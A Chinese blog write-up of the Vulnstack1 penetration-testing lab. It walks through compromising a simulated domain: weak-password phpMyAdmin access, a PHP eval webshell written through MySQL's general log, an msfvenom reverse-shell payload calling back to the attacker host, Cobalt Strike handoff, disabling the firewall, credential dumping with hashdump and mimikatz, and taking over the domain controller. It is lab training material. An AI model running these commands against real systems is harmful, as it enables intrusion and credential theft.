Vulnstack1 内网渗透测试实战记录
靶场环境搭建
靶机官方下载地址及实验文档
网络拓扑结构如下
需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。添加网络设配器如下图。
Win2003、Win2008 网络适配器设置成VMnet1仅主机模式(内网)。
开机
网络配置完成,这三台虚拟主机默认开机密码都是 hongrisec@2019(有的会提示密码已过期,更改为 Qwer1234 即可)登录查看三台虚拟机的ip地址如下:
主机 | IP地址 |
---|---|
Win7 web服务器 | 内网:192.168.52.143 外网:192.168.160.132 |
win2003 域成员主机 | 192.168.52.141 |
win2008 域控主机 | 192.168.52.138 |
Kali 攻击机 | 192.168.160.131 |
【注意】通过查看IP得知,实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 重新设置网卡,添加VMware 仅主机模式的 VMnet 4 网卡,配置为 192.168.52.XXX/24 网段
验证网络
Win7 能访问外网
Win2003 内网主机不能访问外网
Win2003和Win2008互相能Ping通
Win7能Ping通Win2003和Win2008
在Win7 Web服务器主机的C盘找到PhpStudy 启动Web服务,模拟外网Web站点
使用Kali可以正常访问Win7服务器的站点
参考官方给出的流程
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
信息收集
暴露在外网的是win7 的Web服务 Nmap对其IP地址进行扫描
扫到两个比较有用的端口
80 网页
3306 数据库
访问80端口,是phpStudy探针2014
检查MySQL数据库连接,尝试弱口令爆破 root/root 成功
尝试dirb目录爆破
dirb http://192.168.160.132
发现phpmyadmin后台
访问,用刚才的root/root 登录成功
Getshell
phpadmin后台getshell的一般方式
- select into outfile直接写入
- 开启全局日志getshell
- 使用慢查询日志getshell
- 使用错误日志getshell
- 利用PHPadmin4.8.x本地文件包含漏洞getshell
select into outfile直接写入
配置文件没开启,放弃
利用日志
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限
mysql全局变量:general_log、general_log file
general log 指定日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径
# 查看配置
show variables like '%general%'
# 开启general log模式
set global general_log='ON'
# 设置日志目录为shell地址,根目录地址在phpStudy探针页面获得
set global general_log_file = 'C:/phpStudy/WWW/lxy.php'
# 写入shell
# 如果写入后连接不了,可能是函数不支持,尝试换别的函数,如assert等
select '<?php @eval($_POST["a"]); ?>'
打开中国蚁剑,测试,连接成功
攻入内网信息收集
参考可用方法
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
输入
# 查看当前用户
whoami
# 查看网卡信息
ipconfig
# 查看当前登录域以及登录用户信息
net config Workstation
# 查看域成员
net view /domain:god
当前域名为god 登录用户为administrator
发现两个网卡
内网:192.168.160.0
外网:192.168.52.0
发现在工作站有三个工作主机,即除目前靶机外,还有两台
渗透攻击
msf
- 在msf生成一个payload到win7终端上,利用蚁剑执行,得到msf的session
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=6666 -f exe -o lxypay.exe
# LHOST是kali的 端口是监听端口
# -p 生成一个payload
# -f 生成的文件类型(exe/txt/py等)
# -o 输出到文件
# 给这个文件最大权限
chmod 777 lxypay.exe
把lxypay.exe拖到win7靶机中
2. 在msf上开启监听 即接受这个反弹shell
use exploit/multi/handler # 进入模块
set payload windows/meterpreter/reverse_tcp # 设置payload模块
set lhost 192.168.160.131 # 设置kali地址
set lport 6666 # 设置监听端口
run # 开始运行
在蚁剑中执行刚才的payload文件
拿到session,开始提权,成功提权到system
- 开启远程桌面
run post/windows/manage/enable_rdp
打开一个新的客户端
rdesktop 192.168.160.132
连接成功
联动CS
cd cs所在文件夹
./teamserver ip passwd (ip是kali的 passwd自己设
新开一个终端,开启客户端
./cobaltstrike
密码是刚刚的自己设的passwd
登录后新建一个监听,相当于msf的handler
打开刚才msf的操作终端
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1 # msf中刚才meterpreter的session id 为 1
run
在CS中查看,反弹了shell
修改回显时间 原本默认是60s,改为1s (回显时间太短会容易被发现,不过我们靶机测试的时候不存在这种问题,时间可以设置的短一点
sleep 1
# CS的shell 执行win命令时,在命令前加shell即可
shell whoami # 用户名
shell hostname # 主机名
shell net users # 用户列表
shell systeminfo # 系统详细信息
# 在systeminfo中,“域"即为域名,如果"域"为"WORKGROUP”,则表示当前服务器不在域内
shell tasklist # 进程列表
shell net config workstation # 查询域信息
# "工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境
"登录域"表示当前登录的用户是域用户还是本地用户
shell net view /domain # 查询域
内网渗透 域攻击
主机提权
可以看到多了一个system权限的主机
横向渗透
shell netsh firewall show state # 查看防火墙状态
shell netsh advfirewall set allprofiles state off # 关闭防火墙
- 横向探测
用图形化界面探测或net view
我用net view 有点问题,不显示 STU1,但图形化界面中是有的
扫描发现3个主机
# 读内存密码
hashdump
# 用mimikatz读注册表密码
logonpasswords
在密码凭证视图中能看到整合信息
攻击域控
新建一个smb 监听
从目标中找到OWA 右键
选择god.org 的那个用户名和密码填充,Session选择system的 --> 运行
成功拿到域控权限
同样的方式 选ROOT-的那个
选god的那个填充用户名密码,Session选刚拿到的域控的
成功!
三台system权限均拿到
完结撒花
posted on 2022-11-04 19:18 Mario24678 阅读(667) 评论(0) 编辑 收藏 举报
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?